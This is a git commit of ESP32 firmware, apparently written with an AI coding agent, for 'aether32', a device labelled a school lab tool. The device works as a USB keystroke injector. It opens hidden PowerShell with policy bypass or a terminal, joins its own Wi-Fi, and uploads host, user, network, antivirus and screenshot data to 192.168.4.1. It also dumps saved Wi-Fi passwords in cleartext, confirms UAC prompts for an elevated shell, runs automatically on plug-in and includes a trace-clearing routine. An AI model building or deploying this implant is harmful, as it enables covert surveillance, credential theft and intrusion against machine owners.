Initial aether32 school lab bench tool

Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
drjones
2026-06-01 21:34:33 -07:00
commit 7bf6abccfc
41 changed files with 4494 additions and 0 deletions

View File

@@ -0,0 +1,157 @@
#include "button_store.h"
#include <LittleFS.h>
#define BTN_FILE "/btns.dat"
// Field separator — ASCII SOH, won't appear in normal commands
#define SEP '\x01'
CmdButton g_buttons[MAX_BUTTONS];
int g_button_count = 0;
// Stored records are newline-delimited, so strip all control chars and separators.
static void sanitize(char *s, int maxlen)
{
int out = 0;
for (int i = 0; s[i] && out < maxlen - 1; i++)
{
unsigned char c = (unsigned char)s[i];
if (c == SEP || c < 0x20)
continue;
s[out++] = s[i];
}
s[out] = '\0';
}
static void parse_line(const String &line)
{
if (g_button_count >= MAX_BUTTONS)
return;
int p0 = line.indexOf(SEP);
if (p0 < 0) return;
int p1 = line.indexOf(SEP, p0 + 1);
if (p1 < 0) return;
int p2 = line.indexOf(SEP, p1 + 1);
if (p2 < 0) return;
CmdButton &b = g_buttons[g_button_count];
strncpy(b.label, line.substring(0, p0).c_str(), BTN_LABEL_MAX - 1);
b.label[BTN_LABEL_MAX - 1] = '\0';
strncpy(b.shell, line.substring(p0 + 1, p1).c_str(), BTN_SHELL_MAX - 1);
b.shell[BTN_SHELL_MAX - 1] = '\0';
b.delay_ms = line.substring(p1 + 1, p2).toInt();
if (b.delay_ms < 5 || b.delay_ms > 200) b.delay_ms = 15;
strncpy(b.cmd, line.substring(p2 + 1).c_str(), BTN_CMD_MAX - 1);
b.cmd[BTN_CMD_MAX - 1] = '\0';
sanitize(b.label, BTN_LABEL_MAX);
sanitize(b.shell, BTN_SHELL_MAX);
sanitize(b.cmd, BTN_CMD_MAX);
g_button_count++;
}
void buttons_load()
{
g_button_count = 0;
File f = LittleFS.open(BTN_FILE, "r");
if (!f) return;
String line;
while (f.available())
{
char c = (char)f.read();
if (c == '\n')
{
line.trim();
if (line.length() > 0) parse_line(line);
line = "";
}
else
{
line += c;
}
}
if (line.length() > 0)
{
line.trim();
if (line.length() > 0) parse_line(line);
}
f.close();
}
bool buttons_save()
{
LittleFS.remove(BTN_FILE);
File f = LittleFS.open(BTN_FILE, "w");
if (!f) return false;
for (int i = 0; i < g_button_count; i++)
{
f.print(g_buttons[i].label);
f.print((char)SEP);
f.print(g_buttons[i].shell);
f.print((char)SEP);
f.print(g_buttons[i].delay_ms);
f.print((char)SEP);
f.print(g_buttons[i].cmd);
f.print('\n');
}
f.close();
return true;
}
bool buttons_add(const char *label, const char *shell, int delay_ms, const char *cmd)
{
if (g_button_count >= MAX_BUTTONS) return false;
if (!label || !cmd || strlen(label) == 0 || strlen(cmd) == 0) return false;
CmdButton &b = g_buttons[g_button_count];
strncpy(b.label, label, BTN_LABEL_MAX - 1); b.label[BTN_LABEL_MAX - 1] = '\0';
strncpy(b.shell, shell, BTN_SHELL_MAX - 1); b.shell[BTN_SHELL_MAX - 1] = '\0';
b.delay_ms = (delay_ms < 5 || delay_ms > 200) ? 15 : delay_ms;
strncpy(b.cmd, cmd, BTN_CMD_MAX - 1); b.cmd[BTN_CMD_MAX - 1] = '\0';
sanitize(b.label, BTN_LABEL_MAX);
sanitize(b.shell, BTN_SHELL_MAX);
sanitize(b.cmd, BTN_CMD_MAX);
g_button_count++;
return buttons_save();
}
bool buttons_delete(int idx)
{
if (idx < 0 || idx >= g_button_count) return false;
for (int i = idx; i < g_button_count - 1; i++)
g_buttons[i] = g_buttons[i + 1];
g_button_count--;
return buttons_save();
}
String buttons_to_json()
{
String out = "[";
for (int i = 0; i < g_button_count; i++)
{
if (i > 0) out += ",";
out += "{\"id\":";
out += i;
out += ",\"label\":\"";
String lbl = g_buttons[i].label;
lbl.replace("\\", "\\\\"); lbl.replace("\"", "\\\"");
out += lbl;
out += "\",\"shell\":\"";
out += g_buttons[i].shell;
out += "\",\"delay\":";
out += g_buttons[i].delay_ms;
out += ",\"cmd\":\"";
String c = g_buttons[i].cmd;
c.replace("\\", "\\\\"); c.replace("\"", "\\\""); c.replace("\n", "\\n"); c.replace("\r", "");
out += c;
out += "\"}";
}
out += "]";
return out;
}

View File

@@ -0,0 +1,27 @@
#ifndef BUTTON_STORE_H
#define BUTTON_STORE_H
#include <Arduino.h>
#define MAX_BUTTONS 40
#define BTN_LABEL_MAX 48
#define BTN_CMD_MAX 220
#define BTN_SHELL_MAX 16
struct CmdButton {
char label[BTN_LABEL_MAX];
char shell[BTN_SHELL_MAX];
int delay_ms;
char cmd[BTN_CMD_MAX];
};
extern CmdButton g_buttons[MAX_BUTTONS];
extern int g_button_count;
void buttons_load();
bool buttons_save();
bool buttons_add(const char *label, const char *shell, int delay_ms, const char *cmd);
bool buttons_delete(int idx);
String buttons_to_json();
#endif

View File

@@ -0,0 +1,430 @@
#include "collector.h"
#include "exescript.h"
#include "upload_status.h"
// Must match wifi_server soft AP credentials
static const char *AP_SSID = "aether32";
static const char *AP_PASS = "aether32-admin";
static const char *UPLOAD = "http://192.168.4.1/api/upload";
static void type_lines(const char *lines[], int count, int del = 9)
{
for (int i = 0; i < count; i++)
{
write_task(lines[i], del, true);
delay(320);
}
}
static void open_run_hidden_ps()
{
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
write_task("powershell -w hidden -nop -ep bypass", 18, true);
delay(900);
}
static void open_mac_terminal()
{
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(' ');
Keyboard.releaseAll();
delay(600);
write_task("Terminal", 20, false);
delay(400);
Keyboard.write(KEY_RETURN);
delay(1400);
}
static void open_linux_terminal()
{
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.write('t');
Keyboard.releaseAll();
delay(1600);
}
// Windows: join aether32 WiFi, POST each artifact to ESP32 flash (no SD)
static void win_profile_steps()
{
open_run_hidden_ps();
static const char *lines[] = {
"$u='http://192.168.4.1/api/upload'",
"$p=@'<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>aether32</name><SSIDConfig><SSID><name>aether32</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>aether32-admin</keyMaterial></sharedKey></security></MSM></WLANProfile>'@",
"$p|Out-File $env:TEMP\\a32.xml -Enc ascii",
"netsh wlan add profile filename=$env:TEMP\\a32.xml user=all 2>$null",
"netsh wlan connect name=aether32 ssid=aether32 2>$null",
"Start-Sleep 5",
"function Up($n,$b){Invoke-RestMethod -Uri ($u+'?name='+$n) -Method Post -Body $b -ContentType 'text/plain'}",
"Up 'os.txt' 'windows'",
"Up 'hostname.txt' ((hostname)+\"`n\"+(whoami))",
"Up 'network_macs.txt' (getmac /v /fo list | Out-String)",
"Up 'network_full.txt' (ipconfig /all | Out-String)",
"Up 'arp.txt' (arp -a | Out-String)",
"Up 'routes.txt' (route print | Out-String)",
"Up 'netstat.txt' (netstat -an | Out-String)",
"Up 'collected_at.txt' (Get-Date -Format o)",
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing",
"$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds",
"$i=New-Object Drawing.Bitmap $b.Width,$b.Height",
"$g=[Drawing.Graphics]::FromImage($i)",
"$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)",
"$t=$env:TEMP+'\\a32sc.png'",
"$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)",
"$raw=[IO.File]::ReadAllBytes($t)",
"Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body $raw -ContentType 'application/octet-stream'",
"exit",
};
type_lines(lines, sizeof(lines) / sizeof(lines[0]));
}
// Windows lab scan: profile artifacts + disk, user, uptime, AV, OS, RAM, gateway/DNS
static void win_lab_scan_steps()
{
open_run_hidden_ps();
static const char *lines[] = {
"$u='http://192.168.4.1/api/upload'",
"$p=@'<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>aether32</name><SSIDConfig><SSID><name>aether32</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>aether32-admin</keyMaterial></sharedKey></security></MSM></WLANProfile>'@",
"$p|Out-File $env:TEMP\\a32.xml -Enc ascii",
"netsh wlan add profile filename=$env:TEMP\\a32.xml user=all 2>$null",
"netsh wlan connect name=aether32 ssid=aether32 2>$null",
"Start-Sleep 5",
"function Up($n,$b){Invoke-RestMethod -Uri ($u+'?name='+$n) -Method Post -Body $b -ContentType 'text/plain'}",
"Up 'os.txt' 'windows'",
"Up 'hostname.txt' ((hostname)+\"`n\"+(whoami))",
"Up 'network_macs.txt' (getmac /v /fo list | Out-String)",
"Up 'network_full.txt' (ipconfig /all | Out-String)",
"Up 'arp.txt' (arp -a | Out-String)",
"Up 'routes.txt' (route print | Out-String)",
"Up 'netstat.txt' (netstat -an | Out-String)",
"Up 'collected_at.txt' (Get-Date -Format o)",
"Up 'disk_space.txt' ((Get-PSDrive -PSProvider FileSystem|Format-List|Out-String)+(Get-CimInstance Win32_LogicalDisk|Select DeviceID,Size,FreeSpace|Format-Table|Out-String))",
"Up 'logged_in_user.txt' ((whoami)+\"`n\"+(query user|Out-String))",
"Up 'uptime.txt' ($o=Get-CimInstance Win32_OperatingSystem;\"LastBoot: $($o.LastBootUpTime)`nUptime: $((Get-Date)-$o.LastBootUpTime)\")",
"Up 'av_status.txt' (try{Get-MpComputerStatus|Format-List|Out-String}catch{Get-CimInstance -Namespace root/SecurityCenter2 -Class AntiVirusProduct|Format-List|Out-String})",
"Up 'os_version.txt' ((Get-ComputerInfo|Select OsName,OsVersion,OsBuildNumber|Format-List|Out-String)+([Environment]::OSVersion|Out-String))",
"Up 'ram.txt' (Get-CimInstance Win32_PhysicalMemory|Measure-Object -Property capacity -Sum|ForEach{\"Total RAM GB: $([math]::Round($_.Sum/1GB,2))\"})",
"Up 'gateway_dns.txt' ((Get-NetRoute -DestinationPrefix '0.0.0.0/0'|Format-Table|Out-String)+(Get-DnsClientServerAddress -AddressFamily IPv4|Format-Table|Out-String))",
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing",
"$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds",
"$i=New-Object Drawing.Bitmap $b.Width,$b.Height",
"$g=[Drawing.Graphics]::FromImage($i)",
"$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)",
"$t=$env:TEMP+'\\a32sc.png'",
"$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)",
"$raw=[IO.File]::ReadAllBytes($t)",
"Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body $raw -ContentType 'application/octet-stream'",
"exit",
};
type_lines(lines, sizeof(lines) / sizeof(lines[0]));
}
static void mac_lab_scan_steps()
{
open_mac_terminal();
static const char *script =
"[ \"$(uname)\" = Darwin ]||exit 0;"
"networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;"
"sleep 5;"
"U=http://192.168.4.1/api/upload;"
"up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
"up os.txt macos;"
"up hostname.txt \"$(hostname)\n$(whoami)\";"
"up network_full.txt \"$(ifconfig -a)\";"
"up network_macs.txt \"$(networksetup -listallhardwareports 2>/dev/null; ifconfig|grep ether)\";"
"up arp.txt \"$(arp -a)\";"
"up netstat.txt \"$(netstat -an 2>/dev/null)\";"
"up collected_at.txt \"$(date -Iseconds)\";"
"up disk_space.txt \"$(df -h)\";"
"up logged_in_user.txt \"$(whoami; w)\";"
"up uptime.txt \"$(uptime; last reboot 2>/dev/null|head -3)\";"
"up av_status.txt \"$(spctl --status 2>/dev/null; system_profiler SPInstallHistoryDataType 2>/dev/null|grep -iE 'sophos|norton|mcafee|bitdefender|avast|avg'||echo Gatekeeper status above)\";"
"up os_version.txt \"$(sw_vers; uname -a)\";"
"up ram.txt \"$(sysctl hw.memsize 2>/dev/null; system_profiler SPHardwareDataType 2>/dev/null|grep Memory)\";"
"up gateway_dns.txt \"$(netstat -nr|grep default; scutil --dns 2>/dev/null|head -40)\";"
"screencapture -x /tmp/a32sc.png 2>/dev/null;"
"curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\";"
"exit";
write_task(script, 8, true);
delay(400);
}
static void linux_lab_scan_steps()
{
open_linux_terminal();
static const char *script =
"[ \"$(uname)\" = Linux ]||exit 0;"
"nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;"
"sleep 5;"
"U=http://192.168.4.1/api/upload;"
"up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
"up os.txt linux;"
"up hostname.txt \"$(hostname)\n$(whoami)\";"
"up network_macs.txt \"$(ip -br link; cat /sys/class/net/*/address 2>/dev/null)\";"
"up network_full.txt \"$(ip addr)\";"
"up arp.txt \"$(ip neigh)\";"
"up routes.txt \"$(ip route)\";"
"up netstat.txt \"$(ss -tuln 2>/dev/null||netstat -an)\";"
"up collected_at.txt \"$(date -Iseconds)\";"
"up disk_space.txt \"$(df -h)\";"
"up logged_in_user.txt \"$(whoami; w; id)\";"
"up uptime.txt \"$(uptime; who -b 2>/dev/null)\";"
"up av_status.txt \"$(systemctl is-active clamav-daemon 2>/dev/null; dpkg -l 2>/dev/null|grep -iE 'clamav|sophos|avg|bitdefender'||rpm -qa 2>/dev/null|grep -iE 'clam|sophos'||echo no common AV packages)\";"
"up os_version.txt \"$(cat /etc/os-release 2>/dev/null; uname -a)\";"
"up ram.txt \"$(free -h; grep MemTotal /proc/meminfo)\";"
"up gateway_dns.txt \"$(ip route|grep default; cat /etc/resolv.conf)\";"
"scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;"
"curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\" 2>/dev/null;"
"exit";
write_task(script, 8, true);
delay(400);
}
static void mac_profile_steps()
{
open_mac_terminal();
static const char *script =
"[ \"$(uname)\" = Darwin ]||exit 0;"
"networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;"
"sleep 5;"
"U=http://192.168.4.1/api/upload;"
"up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
"up os.txt macos;"
"up hostname.txt \"$(hostname)\n$(whoami)\";"
"up network_full.txt \"$(ifconfig -a)\";"
"up network_macs.txt \"$(networksetup -listallhardwareports 2>/dev/null; ifconfig|grep ether)\";"
"up arp.txt \"$(arp -a)\";"
"up netstat.txt \"$(netstat -an 2>/dev/null)\";"
"up collected_at.txt \"$(date -Iseconds)\";"
"screencapture -x /tmp/a32sc.png 2>/dev/null;"
"curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\";"
"exit";
write_task(script, 8, true);
delay(400);
}
static void linux_profile_steps()
{
open_linux_terminal();
static const char *script =
"[ \"$(uname)\" = Linux ]||exit 0;"
"nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;"
"sleep 5;"
"U=http://192.168.4.1/api/upload;"
"up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
"up os.txt linux;"
"up hostname.txt \"$(hostname)\n$(whoami)\";"
"up network_macs.txt \"$(ip -br link; cat /sys/class/net/*/address 2>/dev/null)\";"
"up network_full.txt \"$(ip addr)\";"
"up arp.txt \"$(ip neigh)\";"
"up routes.txt \"$(ip route)\";"
"up netstat.txt \"$(ss -tuln 2>/dev/null||netstat -an)\";"
"up collected_at.txt \"$(date -Iseconds)\";"
"scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;"
"curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\" 2>/dev/null;"
"exit";
write_task(script, 8, true);
delay(400);
}
void collect_profile_auto()
{
win_profile_steps();
delay(800);
mac_profile_steps();
delay(800);
linux_profile_steps();
}
void collect_profile_windows() { win_profile_steps(); }
void collect_profile_macos() { mac_profile_steps(); }
void collect_profile_linux() { linux_profile_steps(); }
void collect_lab_scan()
{
upload_status_set_phase("lab_scan");
win_lab_scan_steps();
delay(800);
mac_lab_scan_steps();
delay(800);
linux_lab_scan_steps();
upload_status_set_phase("awaiting_uploads");
}
void collect_network_macs() { collect_profile_auto(); }
void collect_screenshot()
{
open_run_hidden_ps();
static const char *win[] = {
"$u='http://192.168.4.1/api/upload'",
"netsh wlan connect name=aether32 ssid=aether32 2>$null",
"Start-Sleep 3",
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing",
"$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds",
"$i=New-Object Drawing.Bitmap $b.Width,$b.Height",
"$g=[Drawing.Graphics]::FromImage($i)",
"$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)",
"$t=$env:TEMP+'\\a32sc.png'",
"$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)",
"Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body ([IO.File]::ReadAllBytes($t)) -ContentType 'application/octet-stream'",
"exit",
};
type_lines(win, sizeof(win) / sizeof(win[0]));
delay(600);
open_mac_terminal();
write_task(
"[ \"$(uname)\" = Darwin ]||exit 0;"
"networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;sleep 3;"
"screencapture -x /tmp/a32sc.png;"
"curl -sf -X POST --data-binary @/tmp/a32sc.png http://192.168.4.1/api/upload?name=screen.png;exit",
8, true);
delay(600);
open_linux_terminal();
write_task(
"[ \"$(uname)\" = Linux ]||exit 0;"
"nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;sleep 3;"
"scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;"
"curl -sf -X POST --data-binary @/tmp/a32sc.png http://192.168.4.1/api/upload?name=screen.png;exit",
8, true);
}
static void win_upload_text(const char *filename, const char *ps_body_expr)
{
open_run_hidden_ps();
write_task("$u='http://192.168.4.1/api/upload'", 9, true);
write_task("netsh wlan connect name=aether32 ssid=aether32 2>$null", 9, true);
write_task("Start-Sleep 4", 9, true);
char cmd[384];
snprintf(cmd, sizeof(cmd),
"Invoke-RestMethod -Uri ($u+'?name=%s') -Method Post -Body (%s|Out-String) -ContentType 'text/plain'",
filename, ps_body_expr);
write_task(cmd, 8, true);
write_task("exit", 9, true);
}
static void mac_upload_text(const char *filename, const char *body_shell)
{
open_mac_terminal();
char script[640];
snprintf(script, sizeof(script),
"[ \"$(uname)\" = Darwin ]||exit 0;"
"networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;"
"sleep 4;"
"curl -sf -X POST -d \"$(%s)\" \"http://192.168.4.1/api/upload?name=%s\";"
"exit",
body_shell, filename);
write_task(script, 8, true);
delay(400);
}
static void linux_upload_text(const char *filename, const char *body_shell)
{
open_linux_terminal();
char script[640];
snprintf(script, sizeof(script),
"[ \"$(uname)\" = Linux ]||exit 0;"
"nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;"
"sleep 4;"
"curl -sf -X POST -d \"$(%s)\" \"http://192.168.4.1/api/upload?name=%s\";"
"exit",
body_shell, filename);
write_task(script, 8, true);
delay(400);
}
static void lab_collect_triple(const char *filename, const char *ps_body,
const char *mac_body, const char *linux_body)
{
upload_status_set_phase("lab_collect");
win_upload_text(filename, ps_body);
delay(600);
mac_upload_text(filename, mac_body);
delay(600);
linux_upload_text(filename, linux_body);
upload_status_set_phase("awaiting_uploads");
}
void collect_dispatch(const char *id)
{
if (strcmp(id, "lab_scan") == 0) { collect_lab_scan(); return; }
if (strcmp(id, "profile_auto") == 0) { upload_status_set_phase("profile"); collect_profile_auto(); upload_status_set_phase("awaiting_uploads"); return; }
if (strcmp(id, "profile_windows") == 0) { upload_status_set_phase("profile"); collect_profile_windows(); upload_status_set_phase("awaiting_uploads"); return; }
if (strcmp(id, "profile_macos") == 0) { upload_status_set_phase("profile"); collect_profile_macos(); upload_status_set_phase("awaiting_uploads"); return; }
if (strcmp(id, "profile_linux") == 0) { upload_status_set_phase("profile"); collect_profile_linux(); upload_status_set_phase("awaiting_uploads"); return; }
if (strcmp(id, "network_macs") == 0) { collect_network_macs(); return; }
if (strcmp(id, "screenshot") == 0) { collect_screenshot(); return; }
if (strcmp(id, "disk_space") == 0)
lab_collect_triple("disk_space.txt",
"Get-PSDrive -PSProvider FileSystem|Format-List; Get-CimInstance Win32_LogicalDisk|Select DeviceID,Size,FreeSpace|Format-Table",
"df -h", "df -h");
else if (strcmp(id, "logged_in_user") == 0)
lab_collect_triple("logged_in_user.txt",
"whoami; query user", "whoami; w", "whoami; w; id");
else if (strcmp(id, "uptime") == 0)
lab_collect_triple("uptime.txt",
"$o=Get-CimInstance Win32_OperatingSystem;\"LastBoot: $($o.LastBootUpTime)`nUptime: $((Get-Date)-$o.LastBootUpTime)\"",
"uptime; last reboot 2>/dev/null|head -3", "uptime; who -b 2>/dev/null");
else if (strcmp(id, "av_status") == 0)
lab_collect_triple("av_status.txt",
"try{Get-MpComputerStatus|Format-List|Out-String}catch{Get-CimInstance -Namespace root/SecurityCenter2 -Class AntiVirusProduct|Format-List|Out-String}",
"spctl --status 2>/dev/null", "systemctl is-active clamav-daemon 2>/dev/null; dpkg -l 2>/dev/null|grep -i clamav||echo none");
else if (strcmp(id, "os_version") == 0)
lab_collect_triple("os_version.txt",
"Get-ComputerInfo|Select OsName,OsVersion,OsBuildNumber|Format-List",
"sw_vers; uname -a", "cat /etc/os-release 2>/dev/null; uname -a");
else if (strcmp(id, "ram") == 0)
lab_collect_triple("ram.txt",
"Get-CimInstance Win32_PhysicalMemory|Measure-Object -Property capacity -Sum|ForEach{\"Total RAM GB: $([math]::Round($_.Sum/1GB,2))\"}",
"sysctl hw.memsize 2>/dev/null; system_profiler SPHardwareDataType 2>/dev/null|grep Memory",
"free -h; grep MemTotal /proc/meminfo");
else if (strcmp(id, "gateway_dns") == 0)
lab_collect_triple("gateway_dns.txt",
"Get-NetRoute -DestinationPrefix '0.0.0.0/0'|Format-Table; Get-DnsClientServerAddress -AddressFamily IPv4|Format-Table",
"netstat -nr|grep default; scutil --dns 2>/dev/null|head -20",
"ip route|grep default; cat /etc/resolv.conf");
else if (strcmp(id, "sysinfo") == 0)
win_upload_text("sysinfo.txt", "systeminfo");
else if (strcmp(id, "network") == 0)
win_upload_text("network_full.txt", "ipconfig /all");
else if (strcmp(id, "arp") == 0)
win_upload_text("arp.txt", "arp -a");
else if (strcmp(id, "netstat") == 0)
win_upload_text("netstat.txt", "netstat -an");
else if (strcmp(id, "routes") == 0)
win_upload_text("routes.txt", "route print");
else if (strcmp(id, "hostname") == 0)
win_upload_text("hostname.txt", "hostname; whoami");
else if (strcmp(id, "users") == 0)
win_upload_text("whoami.txt", "whoami /all");
else if (strcmp(id, "processes") == 0)
win_upload_text("processes.txt", "Get-Process|Sort CPU -Desc|Select Name,Id,CPU|Format-Table");
else if (strcmp(id, "wifi_passwords") == 0)
{
open_run_hidden_ps();
write_task("$u='http://192.168.4.1/api/upload'", 9, true);
write_task("netsh wlan connect name=aether32 ssid=aether32 2>$null", 9, true);
write_task("Start-Sleep 4", 9, true);
write_task(
"$o=@();netsh wlan show profiles|Select-String 'All User Profile'|ForEach-Object{$n=$_.ToString().Split(':')[1].Trim();$o+=netsh wlan show profile name=\"$n\" key=clear};"
"Invoke-RestMethod -Uri ($u+'?name=wifi_passwords.txt') -Method Post -Body ($o|Out-String)",
8, true);
write_task("exit", 9, true);
}
}

View File

@@ -0,0 +1,15 @@
#ifndef COLLECTOR_H
#define COLLECTOR_H
#include <Arduino.h>
void collect_profile_auto();
void collect_profile_windows();
void collect_profile_macos();
void collect_profile_linux();
void collect_network_macs();
void collect_screenshot();
void collect_lab_scan();
void collect_dispatch(const char *id);
#endif

View File

@@ -0,0 +1,99 @@
#include "config_store.h"
#include <LittleFS.h>
#define CFG_FILE "/cfg.dat"
#define SEP '\x01'
AutoRunConfig g_autorun = {false, false, 3500, "elevated", ""};
static bool is_allowed_shell(const char *shell)
{
return strcmp(shell, "elevated") == 0 ||
strcmp(shell, "cmd") == 0 ||
strcmp(shell, "powershell") == 0 ||
strcmp(shell, "run") == 0;
}
static void sanitize_stored_field(char *s, size_t maxlen)
{
size_t out = 0;
for (size_t i = 0; s[i] && out < maxlen - 1; i++)
{
unsigned char c = (unsigned char)s[i];
if (c == SEP || c < 0x20)
continue;
s[out++] = s[i];
}
s[out] = '\0';
}
void config_load()
{
File f = LittleFS.open(CFG_FILE, "r");
if (!f) return;
String line;
while (f.available())
{
char c = (char)f.read();
if (c == '\n' || c == '\r') break;
line += c;
}
f.close();
if (line.length() == 0) return;
int p0 = line.indexOf(SEP); if (p0 < 0) return;
int p1 = line.indexOf(SEP, p0+1); if (p1 < 0) return;
int p2 = line.indexOf(SEP, p1+1); if (p2 < 0) return;
int p3 = line.indexOf(SEP, p2+1);
g_autorun.enabled = (line.substring(0, p0) == "1");
int d = line.substring(p0+1, p1).toInt();
g_autorun.delay_ms = (d < 500 || d > 15000) ? 3500 : d;
strncpy(g_autorun.shell, line.substring(p1+1, p2).c_str(), sizeof(g_autorun.shell)-1);
g_autorun.shell[sizeof(g_autorun.shell)-1] = '\0';
if (!is_allowed_shell(g_autorun.shell))
strncpy(g_autorun.shell, "run", sizeof(g_autorun.shell));
if (p3 >= 0)
{
strncpy(g_autorun.cmd, line.substring(p2 + 1, p3).c_str(), sizeof(g_autorun.cmd) - 1);
g_autorun.cmd[sizeof(g_autorun.cmd) - 1] = '\0';
g_autorun.lab_scan_on_plug = (line.substring(p3 + 1) == "1");
}
else
{
strncpy(g_autorun.cmd, line.substring(p2 + 1).c_str(), sizeof(g_autorun.cmd) - 1);
g_autorun.cmd[sizeof(g_autorun.cmd) - 1] = '\0';
g_autorun.lab_scan_on_plug = false;
}
sanitize_stored_field(g_autorun.cmd, sizeof(g_autorun.cmd));
}
bool config_save()
{
sanitize_stored_field(g_autorun.shell, sizeof(g_autorun.shell));
sanitize_stored_field(g_autorun.cmd, sizeof(g_autorun.cmd));
if (!is_allowed_shell(g_autorun.shell))
strncpy(g_autorun.shell, "run", sizeof(g_autorun.shell));
LittleFS.remove(CFG_FILE);
File f = LittleFS.open(CFG_FILE, "w");
if (!f) return false;
f.print(g_autorun.enabled ? "1" : "0");
f.print((char)SEP);
f.print(g_autorun.delay_ms);
f.print((char)SEP);
f.print(g_autorun.shell);
f.print((char)SEP);
f.print(g_autorun.cmd);
f.print((char)SEP);
f.print(g_autorun.lab_scan_on_plug ? "1" : "0");
f.print('\n');
f.close();
return true;
}

View File

@@ -0,0 +1,19 @@
#ifndef CONFIG_STORE_H
#define CONFIG_STORE_H
#include <Arduino.h>
struct AutoRunConfig {
bool enabled;
bool lab_scan_on_plug;
int delay_ms; // ms to wait after USB connects before firing
char shell[16]; // "elevated", "cmd", "powershell", "run"
char cmd[220]; // optional command to type after shell opens (empty = just open shell)
};
extern AutoRunConfig g_autorun;
void config_load();
bool config_save();
#endif

View File

@@ -0,0 +1,236 @@
#include "exescript.h"
#include "config_store.h"
USBHIDKeyboard Keyboard;
TaskParameters task_params(" ", 5, false);
SemaphoreHandle_t write_complete_semaphore = nullptr;
TaskHandle_t write_task_handle = nullptr;
// Actual Task Function
void write_task_wrapper(void *parameters)
{
while (true)
{
// Wait to be resumed
vTaskSuspend(NULL);
vTaskDelay(pdMS_TO_TICKS(10));
write(task_params.str, task_params.del, task_params.enter);
// Signal completion
xSemaphoreGive(write_complete_semaphore);
}
}
// Initialise the Writing Task
static bool create_write_task()
{
BaseType_t ok = xTaskCreatePinnedToCore(
write_task_wrapper,
"write_task_name",
14000, // Keeping big stack size to prevent crashes
nullptr,
configMAX_PRIORITIES - 1, // Max Priority
&write_task_handle, // Task handle
1 // Pinned to Core 1
);
if (ok != pdPASS)
write_task_handle = nullptr;
return ok == pdPASS;
}
void write_task(const char *str, const int del, bool enter = false)
{
if (!str)
return;
if (write_task_handle == nullptr || write_complete_semaphore == nullptr)
{
write(str, del, enter);
return;
}
xSemaphoreTake(write_complete_semaphore, 0);
task_params.str = str;
task_params.del = del;
task_params.enter = enter;
led_blink(0, 255, 255, true);
// Resume Task if handle is available
if (write_task_handle != nullptr)
{
vTaskResume(write_task_handle);
}
// Wait for the writing task to complete.
if (xSemaphoreTake(write_complete_semaphore, portMAX_DELAY) == pdTRUE)
{
led_idle(1, 1, 1);
}
}
// Count string length
int count_len(const char *str)
{
int len = 0;
while (*str != '\0')
{
len++;
str++;
}
return len;
}
void write(const char *str, const int del, bool enter)
{
int len = count_len(str);
for (int i = 0; i < len; i++)
{
Keyboard.write(str[i]);
vTaskDelay(pdMS_TO_TICKS(del)); // Adjust the delay as needed
}
if (enter)
{
Keyboard.write(KEY_RETURN);
}
}
// Press WIN+R, open cmd, say hello world
void open_elevated_cmd()
{
Keyboard.pressRaw(0xE3); // WINDOWS KEY
Keyboard.pressRaw(0x15); // R KEY
Keyboard.releaseAll();
delay(1000);
write_task(R"(powershell -command "Start-Process cmd.exe -Verb RunAs")", 30, true);
delay(1000);
Keyboard.releaseAll();
delay(1000);
Keyboard.write(KEY_LEFT_ARROW);
delay(1000);
Keyboard.write(KEY_RETURN);
delay(1000);
}
// Remove traces from 'C:\Windows\Temp\'
void clear_trace()
{
open_elevated_cmd();
delay(100);
